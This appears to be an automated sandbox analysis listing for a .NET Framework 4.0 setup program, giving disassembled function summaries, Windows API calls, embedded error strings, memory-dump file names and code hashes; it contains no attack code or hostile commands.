                    • Extracting file: %ws, xrefs: 00ADAE06
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: File$ErrorLast$Pointer$CloseHandleLocalReadTimeswprintf
                    • String ID: Extracting file: %ws$User canceled extraction...
                    • API String ID: 1889754113-1866894759
                    • Opcode ID: 07a1135f00178f96243222c53ff5065d196d4b6f5325a378304c0cec3b4635dc
                    • Instruction ID: 8fe3e9dced1b8ac6d6686d3303dd1047f0640ecb44f269e6f501b400a91c6b48
                    • Opcode Fuzzy Hash: 07a1135f00178f96243222c53ff5065d196d4b6f5325a378304c0cec3b4635dc
                    • Instruction Fuzzy Hash: D2618170A006189FCB329B64CD85FAEB7B5EB4C700F150596F19B96351D7B1DAC09F20
                    Function 00AD88ED Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89memoryCOMMON
                    Download Yara Rule
                    APIs
                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,6E584150,00000024,?,00000000,00000000), ref: 00AD8930
                    • GetProcessHeap.KERNEL32(00000008,00000000,00000000,?,?,?,?,?,?,?,?,?,00ADA366,?,?,?), ref: 00AD8957
                    • HeapReAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00ADA366,?,?,?,00000000,000000FF), ref: 00AD895E
                      • Part of subcall function 00AD9A43: GetProcessHeap.KERNEL32(00000000,?,?,00AD8CCC,?,?,00000000,?,00AD6E90,00000000), ref: 00AD9A4D
                      • Part of subcall function 00AD9A43: HeapSize.KERNEL32(00000000,?,00AD8CCC,?,?,00000000,?,00AD6E90,00000000), ref: 00AD9A54
                    • GetProcessHeap.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,00ADA366,?,?,?,00000000), ref: 00AD8968
                    • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00ADA366,?,?,?,00000000,000000FF), ref: 00AD896F
                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,?,00000000,00000000,00000000), ref: 00AD8992
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00ADA366,?,?,?,00000000,000000FF), ref: 00AD8998
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$Process$AllocByteCharMultiWide$ErrorLastSize
                    • String ID: W
                    • API String ID: 3423999398-655174618
                    • Opcode ID: d3b911b9eee16372a490cf84588c44df5876e261ca64e072237efbc22cb2925e
                    • Instruction ID: ddecd260de4f5d01440ed506388cb2895748f84a65d326bdbf7b66bf8942c5a9
                    • Opcode Fuzzy Hash: d3b911b9eee16372a490cf84588c44df5876e261ca64e072237efbc22cb2925e
                    • Instruction Fuzzy Hash: C6214FB1900109FFCB109FE49D949BDBBB8EB05354F20466BF193E7291DA398E419B11
                    Function 00AD8254 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 95memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcessHeap.KERNEL32(00000008,00000000,00000000,?,?,?,00AD7F2D,?,0100002D,?,00000000,00000000,00000000), ref: 00AD82AB
                    • HeapAlloc.KERNEL32(00000000,?,?,?,00AD7F2D,?,0100002D,?,00000000,00000000,00000000,?,?,?,?,00AD7DDD), ref: 00AD82B2
                    • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00AD7F2D,?,0100002D,?,00000000,00000000,00000000), ref: 00AD831C
                    • HeapFree.KERNEL32(00000000,?,?,?,00AD7F2D,?,0100002D,?,00000000,00000000,00000000,?,?,?,?,00AD7DDD), ref: 00AD8323
                    Strings
                    • Failed to retrieve the size from the cluster resource property buffer, xrefs: 00AD8293
                    • Failed to allocate memory for the cluster resource property buffer, xrefs: 00AD82C3
                    • Failed to retrieve the the cluster resource property value, xrefs: 00AD8300
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$Process$AllocFree
                    • String ID: Failed to allocate memory for the cluster resource property buffer$Failed to retrieve the size from the cluster resource property buffer$Failed to retrieve the the cluster resource property value
                    • API String ID: 756756679-2748719997
                    • Opcode ID: a7de484efdfbb0c9f10a53e48d7563422087955befa389699a68197ca34766ef
                    • Instruction ID: 01d95fd772244d83ccd0c9616a3e3450baa61185d0348b6129bd7573416c147b
                    • Opcode Fuzzy Hash: a7de484efdfbb0c9f10a53e48d7563422087955befa389699a68197ca34766ef
                    • Instruction Fuzzy Hash: E621BF72902214FFCB219FA5ED09DEF7F7CEF45B60B204417F40AD6250DA398A4196A0
                    Function 00AD68FB Relevance: 10.6, APIs: 7, Instructions: 55synchronizationwindowCOMMON
                    Download Yara Rule
                    APIs
                    • EnterCriticalSection.KERNEL32(00AFBF10,00000000,?,00AD63FA,?,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD691B
                    • LeaveCriticalSection.KERNEL32(00AFBF10,?,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD692C
                    • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00AD6940
                    • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD6952
                    • DeleteCriticalSection.KERNEL32(00AFBF10,00000000,?,00AD63FA,?,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD696D
                    • CloseHandle.KERNEL32(?,00000000,?,00AD63FA,?,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD6998
                    • CloseHandle.KERNEL32(?,00000000,?,00AD63FA,?,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD69A4
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CriticalSection$CloseHandle$DeleteEnterLeaveMessageObjectPostSingleWait
                    • String ID:
                    • API String ID: 2807184951-0
                    • Opcode ID: 7aea4103ac1be13acb1203e47d3ca3b4dcab9b30cc36a7dd3255ee4bb528b12b
                    • Instruction ID: 1266def91f717de98dce7fb3a32c2127a42d40db6f6f7d9469e2becf5b0b7161
                    • Opcode Fuzzy Hash: 7aea4103ac1be13acb1203e47d3ca3b4dcab9b30cc36a7dd3255ee4bb528b12b
                    • Instruction Fuzzy Hash: 5D115E70941118EBC711DBEAEE48D6A77B9F7907617240617F412E3228DB7588C7CB64
                    Function 00AEA61C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • GetModuleHandleW.KERNEL32(KERNEL32.DLL,00AF6E90,00000008,00AEA729,00000000,00000000,?,00AEDBEB,?,00000001,?,?,00AED143,00000018,00AF6FA0,0000000C), ref: 00AEA62D
                    • __lock.LIBCMT ref: 00AEA661
                      • Part of subcall function 00AED1BD: __mtinitlocknum.LIBCMT ref: 00AED1D3
                      • Part of subcall function 00AED1BD: __amsg_exit.LIBCMT ref: 00AED1DF
                      • Part of subcall function 00AED1BD: EnterCriticalSection.KERNEL32(?,?,?,00AEA803,0000000D,00AF6EB8,00000008,00AF37A4,?,00000000), ref: 00AED1E7
                    • InterlockedIncrement.KERNEL32(00AFA448), ref: 00AEA66E
                    • __lock.LIBCMT ref: 00AEA682
                    • ___addlocaleref.LIBCMT ref: 00AEA6A0
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
                    • String ID: KERNEL32.DLL
                    • API String ID: 637971194-2576044830
                    • Opcode ID: 6c2ec214c078528b904d83d03cc0bd9555e58c145f347a43e58b8f52406de44b
                    • Instruction ID: 4188295f62f73f735524ecd55c7f1d8b23aaf07eb8eefa47874db927ad7357f7
                    • Opcode Fuzzy Hash: 6c2ec214c078528b904d83d03cc0bd9555e58c145f347a43e58b8f52406de44b
                    • Instruction Fuzzy Hash: 50018471541740EFD720EFA6C905749FBE0BF10320F10890EE49A577A0CBB4A645CF52
                    Function 00AF4FC1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON
                    Download Yara Rule
                    APIs
                    • __getptd.LIBCMT ref: 00AF4FE2
                      • Part of subcall function 00AEA753: __getptd_noexit.LIBCMT ref: 00AEA756
                      • Part of subcall function 00AEA753: __amsg_exit.LIBCMT ref: 00AEA763
                    • __getptd.LIBCMT ref: 00AF4FF3
                    • __getptd.LIBCMT ref: 00AF5001
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: __getptd$__amsg_exit__getptd_noexit
                    • String ID: MOC$RCC$csm
                    • API String ID: 803148776-2671469338
                    • Opcode ID: 8c2ebab0d2ed4d0fea42efe5ed5d7f483909f0bfe9a5f0ac829d02d42dc837ac
                    • Instruction ID: a6573bdf857246b8a5893fe573c3c2cdf58ba906e0ba2ed250f64570b1086a6e
                    • Opcode Fuzzy Hash: 8c2ebab0d2ed4d0fea42efe5ed5d7f483909f0bfe9a5f0ac829d02d42dc837ac
                    • Instruction Fuzzy Hash: AAE012315005488FC710EBA5C14A77D33E4FF98324F1545A1FA0DCB222C734E9518683
                    Function 00AF5296 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __CreateFrameInfo.LIBCMT ref: 00AF52BE
                      • Part of subcall function 00AF4CDB: __getptd.LIBCMT ref: 00AF4CE9
                      • Part of subcall function 00AF4CDB: __getptd.LIBCMT ref: 00AF4CF7
                    • __getptd.LIBCMT ref: 00AF52C8
                      • Part of subcall function 00AEA753: __getptd_noexit.LIBCMT ref: 00AEA756
                      • Part of subcall function 00AEA753: __amsg_exit.LIBCMT ref: 00AEA763
                    • __getptd.LIBCMT ref: 00AF52D6
                    • __getptd.LIBCMT ref: 00AF52E4
                    • __getptd.LIBCMT ref: 00AF52EF
                    • _CallCatchBlock2.LIBCMT ref: 00AF5315
                      • Part of subcall function 00AF4D8F: __CallSettingFrame@12.LIBCMT ref: 00AF4DDB
                      • Part of subcall function 00AF53BC: __getptd.LIBCMT ref: 00AF53CB
                      • Part of subcall function 00AF53BC: __getptd.LIBCMT ref: 00AF53D9
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
                    • String ID:
                    • API String ID: 1602911419-0
                    • Opcode ID: 33eafe24f207527565d69e10f70cedbd2f6a217564f0e472661cdd7a9890dac0
                    • Instruction ID: 645b7cbdd78b855e6ba8fabef5ae6cc97023e05d9c9758003f50595c167f7fbc
                    • Opcode Fuzzy Hash: 33eafe24f207527565d69e10f70cedbd2f6a217564f0e472661cdd7a9890dac0
                    • Instruction Fuzzy Hash: 671119B5D00249DFDB00EFA4C645BEE7BB0FF08310F108569F924AB251DB789A119F51
                    Function 00AEC589 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __getptd.LIBCMT ref: 00AEC595
                      • Part of subcall function 00AEA753: __getptd_noexit.LIBCMT ref: 00AEA756
                      • Part of subcall function 00AEA753: __amsg_exit.LIBCMT ref: 00AEA763
                    • __amsg_exit.LIBCMT ref: 00AEC5B5
                    • __lock.LIBCMT ref: 00AEC5C5
                    • InterlockedDecrement.KERNEL32(?), ref: 00AEC5E2
                    • _free.LIBCMT ref: 00AEC5F5
                    • InterlockedIncrement.KERNEL32(02C11670), ref: 00AEC60D
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
                    • String ID:
                    • API String ID: 3470314060-0
                    • Opcode ID: 4b14dc5031d2d625e7eba8ef7a96f79c3820386f654144ebeb27e3488a9df33f
                    • Instruction ID: c8e66eb89f4de143224d2f9d1e6f5224598739c6603174fc7104a6b33708e782
                    • Opcode Fuzzy Hash: 4b14dc5031d2d625e7eba8ef7a96f79c3820386f654144ebeb27e3488a9df33f
                    • Instruction Fuzzy Hash: CF01C471941791EBC720EBA69505BA977A0BF00760F050115F808A7291C774B943CBE2
                    Function 00ADA9AE Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118fileCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AD9CA3: CreateFileW.KERNELBASE(?,?,00AFBEF0,00000000,00AD5AE3,?,00000000,?,00000000,?,?,?,00AD843A,?,40000000,00000005), ref: 00AD9CD2
                    • GetLastError.KERNEL32(00000000,80000000,00000007,00000003,00000080,00000000,00000000,00000000,?,?,?,?,?,?,?,00ADA8F1), ref: 00ADA9EE
                    • ReadFile.KERNEL32(00000000,?,00000024,?,00000000,00000000,80000000,00000007,00000003,00000080,00000000,00000000,00000000), ref: 00ADAA2C
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,00ADA8F1,?,00000000,00000004,?,00000000,?), ref: 00ADAA36
                    • CloseHandle.KERNEL32(00000000), ref: 00ADAAED
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFileLast$CloseCreateHandleRead
                    • String ID: $
                    • API String ID: 3160720760-3993045852
                    • Opcode ID: f4b4ce6ca289a1508435eeff09910309c28bc330904b1b1a87fd4cfe74b59bf9
                    • Instruction ID: b4374dc4bc9fc9b176d6f86303da05b9528324c948be5bcfe7c54596511645b9
                    • Opcode Fuzzy Hash: f4b4ce6ca289a1508435eeff09910309c28bc330904b1b1a87fd4cfe74b59bf9
                    • Instruction Fuzzy Hash: F5413275D002099FCB21DF69DA44AED77B4AF58360F24871BE426E72A0D3749980CF26
                    Function 00AD746A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70COMMON
                    Download Yara Rule
                    APIs
                    • UuidCreate.RPCRT4(?), ref: 00AD7496
                    • UuidToStringW.RPCRT4(?,00000000), ref: 00AD74C3
                    • RpcStringFreeW.RPCRT4(00000000), ref: 00AD74FF
                    Strings
                    • Failed to convert GUID to string., xrefs: 00AD74D7
                    • Failed to create a new GUID., xrefs: 00AD74B4
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: StringUuid$CreateFree
                    • String ID: Failed to convert GUID to string.$Failed to create a new GUID.
                    • API String ID: 3044360575-1364151769
                    • Opcode ID: ef54e470c8f38be8b05ab6acd69622f07d335c6bc58bb7290a08bb784d0d479f
                    • Instruction ID: 99a98fe37f944ecc9a8a7f79e4c0dd9971aa726946131773a54014a696e15b7c
                    • Opcode Fuzzy Hash: ef54e470c8f38be8b05ab6acd69622f07d335c6bc58bb7290a08bb784d0d479f
                    • Instruction Fuzzy Hash: 27115472B1420AABDB05DBF9DC49AEFBBF8AB48311F004537A506E2251EA78D8458B54
                    Function 00AF5652 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • ___BuildCatchObject.LIBCMT ref: 00AF5665
                      • Part of subcall function 00AF55BB: ___BuildCatchObjectHelper.LIBCMT ref: 00AF55F1
                    • _UnwindNestedFrames.LIBCMT ref: 00AF567C
                    • ___FrameUnwindToState.LIBCMT ref: 00AF568A
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
                    • String ID: csm$csm
                    • API String ID: 2163707966-3733052814
                    • Opcode ID: e371cabbb856675a566eb448d13e963a276105ceaaefeb0375b179d063171748
                    • Instruction ID: c2c8cedd98333df76f7d92ad821c30ec1fa9ac7c09a0cc39a0d61fccacfbeed5
                    • Opcode Fuzzy Hash: e371cabbb856675a566eb448d13e963a276105ceaaefeb0375b179d063171748
                    • Instruction Fuzzy Hash: 2001D27180190DBBDF126FA1CD45EBB7F6AEF08390F484010BF1855161DB7299A1EBA5
                    Function 00AE8FF5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 14libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetVersion.KERNEL32 ref: 00AE8FF5
                    • GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00AE9004
                    • GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 00AE9010
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: AddressHandleModuleProcVersion
                    • String ID: KERNEL32.DLL$SetProcessDEPPolicy
                    • API String ID: 3310240892-1809394400
                    • Opcode ID: 9ec3fa93940b27c38b2eb8f5f006c945b1ded5c0a4494e5d4de285db5fad2f0e
                    • Instruction ID: 9e2b2068ddc7f9dd010bc0759307cddcc21488f8d9bfcc5b053cdd3fa9e56188
                    • Opcode Fuzzy Hash: 9ec3fa93940b27c38b2eb8f5f006c945b1ded5c0a4494e5d4de285db5fad2f0e
                    • Instruction Fuzzy Hash: DDD012303423897BDB50BBF35D0DB5A37167744741B840817F007D0195DFA085C29511
                    Function 00AF168A Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • _malloc.LIBCMT ref: 00AF1698
                      • Part of subcall function 00AECDB5: __FF_MSGBANNER.LIBCMT ref: 00AECDCE
                      • Part of subcall function 00AECDB5: __NMSG_WRITE.LIBCMT ref: 00AECDD5
                      • Part of subcall function 00AECDB5: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00AEDBEB,?,00000001,?,?,00AED143,00000018,00AF6FA0,0000000C,00AED1D8), ref: 00AECDFA
                    • _free.LIBCMT ref: 00AF16AB
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: AllocateHeap_free_malloc
                    • String ID:
                    • API String ID: 1020059152-0
                    • Opcode ID: 01a1dcabd0985fe098b68a450b1f9b790a5c879a1fb7631101e233ebf74c1cef
                    • Instruction ID: 7fc2ed22680ac9a969faa407f3db95c9917efad166974ee1c4ce27a297edca0d
                    • Opcode Fuzzy Hash: 01a1dcabd0985fe098b68a450b1f9b790a5c879a1fb7631101e233ebf74c1cef
                    • Instruction Fuzzy Hash: AC110A32401259EBCB317BF6ED0967B3BB8AF403B1F244126FA5DDB151DB3198419AA4
                    Function 00AECD37 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __getptd.LIBCMT ref: 00AECD43
                      • Part of subcall function 00AEA753: __getptd_noexit.LIBCMT ref: 00AEA756
                      • Part of subcall function 00AEA753: __amsg_exit.LIBCMT ref: 00AEA763
                    • __getptd.LIBCMT ref: 00AECD5A
                    • __amsg_exit.LIBCMT ref: 00AECD68
                    • __lock.LIBCMT ref: 00AECD78
                    • __updatetlocinfoEx_nolock.LIBCMT ref: 00AECD8C
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
                    • String ID:
                    • API String ID: 938513278-0
                    • Opcode ID: 3b23f39d635ed64dd1b0179be212d28213c00a528f19d6190ab397794862e3b4
                    • Instruction ID: ef2581df2ba899d62e568c54cd0fecc5f4b23c7d90449c0273556fb5a4ea95d4
                    • Opcode Fuzzy Hash: 3b23f39d635ed64dd1b0179be212d28213c00a528f19d6190ab397794862e3b4
                    • Instruction Fuzzy Hash: 68F02432904B90DBD720FBA69E43B6D37A06F00B30F118268F419A72D2CB712803CA46
                    Function 00AF3734 Relevance: 7.5, APIs: 5, Instructions: 29threadCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AE9A87: _doexit.LIBCMT ref: 00AE9A93
                    • ___set_flsgetvalue.LIBCMT ref: 00AF374B
                      • Part of subcall function 00AEA57F: TlsGetValue.KERNEL32(?,00AF3750), ref: 00AEA588
                      • Part of subcall function 00AEA57F: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AF3750), ref: 00AEA59A
                      • Part of subcall function 00AEA57F: TlsSetValue.KERNEL32(00000000,?,00AF3750), ref: 00AEA5A9
                    • ___fls_getvalue@4.LIBCMT ref: 00AF3756
                      • Part of subcall function 00AEA555: TlsGetValue.KERNEL32(?,?,00AF375B,00000000), ref: 00AEA563
                    • ___fls_setvalue@8.LIBCMT ref: 00AF3769
                      • Part of subcall function 00AEA5B8: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,?,?,00AF376E,00000000,?,00000000), ref: 00AEA5C9
